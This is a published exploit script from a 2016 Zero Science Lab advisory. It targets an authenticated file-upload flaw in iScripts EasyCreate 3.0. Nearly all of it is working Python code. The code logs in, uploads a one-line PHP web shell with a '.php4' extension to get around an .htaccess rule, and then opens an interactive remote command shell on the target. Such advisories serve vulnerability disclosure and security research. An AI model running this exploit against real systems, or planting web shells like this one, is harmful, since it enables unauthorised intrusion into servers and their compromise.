iScripts EasyCreate 3.0 – Remote Code Execution
#!C:/Python27/python.exe -u # # # iScripts EasyCreate 3.0 Remote Code Execution Exploit # # # Vendor: iScripts.com # Product web page: http://www.iscripts.com # Affected version: 3.0 # # Summary: iScripts EasyCreate is a private label online website builder. This # software allows you to start an online business by offering website building # services to your customers. Equipped with drag and drop design functionality, # crisp templates and social sharing capabilities, this online website builder # software will allow you to provide the best website building features to your # users. # # Desc: iScripts EasyCreate suffers from an authenticated arbitrary PHP code # execution. The vulnerability is caused due to the improper verification of # uploaded files in '/ajax_image_upload.php' script thru the 'userImages' POST # parameter. This can be exploited to execute arbitrary PHP code by uploading # a malicious PHP script file with '.php4' extension (to bypass the '.htaccess' # block rule) that will be stored in '/uploads/siteimages/thumb/' directory. # # Tested on: Apache # MySQL 5.5.40 # # Vulnerability discovered by Bikramaditya 'PhoenixX' Guha # # Zero Science Lab - http://www.zeroscience.mk # Macedonian Information Security Research And Development Laboratory # # # Advisory ID: ZSL-2016-5297 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5297.php # # # 17.11.2015 # # version = '3.0' import itertools, mimetools, mimetypes import cookielib, urllib, urllib2, sys import logging, os, time, datetime, re import requests, httplib from colorama import Fore, Back, Style, init from cStringIO import StringIO from urllib2 import URLError global file file = 'abcde2' init() if os.name == 'posix': os.system('clear') if os.name == 'nt': os.system('cls') piton = os.path.basename(sys.argv[0]) def bannerche(): print ''' @-------------------------------------------------------------@ | iScripts EasyCreate 3.0 Remote Code Execution Exploit | | ID: ZSL-2016-5297 | | Copyleft (c) 2016, Zero Science Lab | @-------------------------------------------------------------@ ''' if len(sys.argv) < 1: print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname>\n' print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk\n' sys.exit() bannerche() print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET host = sys.argv[1] cj = cookielib.CookieJar() opener2 = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET opener2.open('http://'+host+'/easycreate/demo/login.php') print '\x20\x20[*] Login please.' username = raw_input('\x20\x20[*] Enter username: ') password = raw_input('\x20\x20[*] Enter password: ') login_data = urllib.urlencode({ 'vuser_login' : username, 'vuser_password' : password, }) login = opener2.open('http://'+host+'/easycreate/demo/login.php?act=post', login_data) auth = login.read() if re.search(r'Invalid username and', auth): print '\x20\x20[*] Incorrect username or password '+'.'*24+Fore.RED+'[ER]'+Fore.RESET print sys.exit() else: print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET response = opener2.open('http://'+host+'/easycreate/demo/usermain.php?succ=msg') output = response.read() for session in cj: sessid = session.name print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET ses_chk = re.search(r'%s=\w+' % sessid , str(cj)) cookie = ses_chk.group(0) print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET class MultiPartForm(object): def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): self.form_fields.append((name, value)) return def add_file(self, field_name, filename, fileHandle, mimetype=None): body = fileHandle.read() if mimetype is None: mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' self.files.append((field_name, filename, mimetype, body)) return def __str__(self): parts = [] part_boundary = '--' + self.boundary parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"; filename="%s"' % \ (field_name, filename), 'Content-Type: application/x-msdownload', '', body, ] for field_name, filename, content_type, body in self.files ) parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) flattened = list(itertools.chain(*parts)) flattened.append('--' + self.boundary + '--') flattened.append('') return '\r\n'.join(flattened) if __name__ == '__main__': form = MultiPartForm() form.add_file('userImages', 'abcde2.php4', fileHandle=StringIO('<?php system(\$_GET[\\\'cmd\\\']); ?>')) request = urllib2.Request('http://'+host+'/easycreate/demo/ajax_image_upload.php') request.add_header('User-agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0') request.add_header('Referer', 'http://'+host+'/easycreate/demo/gallerymanager.php') request.add_header('Accept-Language', 'en-US,en;q=0.5') body = str(form) request.add_header('Content-type', form.get_content_type()) request.add_header('Connection', 'keep-alive') request.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8') request.add_header('Accept-Encoding', 'gzip, deflate') request.add_header('Cookie', cookie) request.add_header('Content-length', len(body)) request.add_data(body) request.get_data() urllib2.urlopen(request).read() print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET response = opener2.open('http://'+host+'/easycreate/demo/gallerymanager.php') output = response.read() for line in output.splitlines(): if file in line: filename = str(line.split("=")[2:])[3:84] print filename print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET raw_input() while True: try: cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET) execute = opener2.open(filename+'cmd='+cmd) reverse = execute.read() print reverse if cmd.strip() == 'exit': break except Exception: break sys.exit() |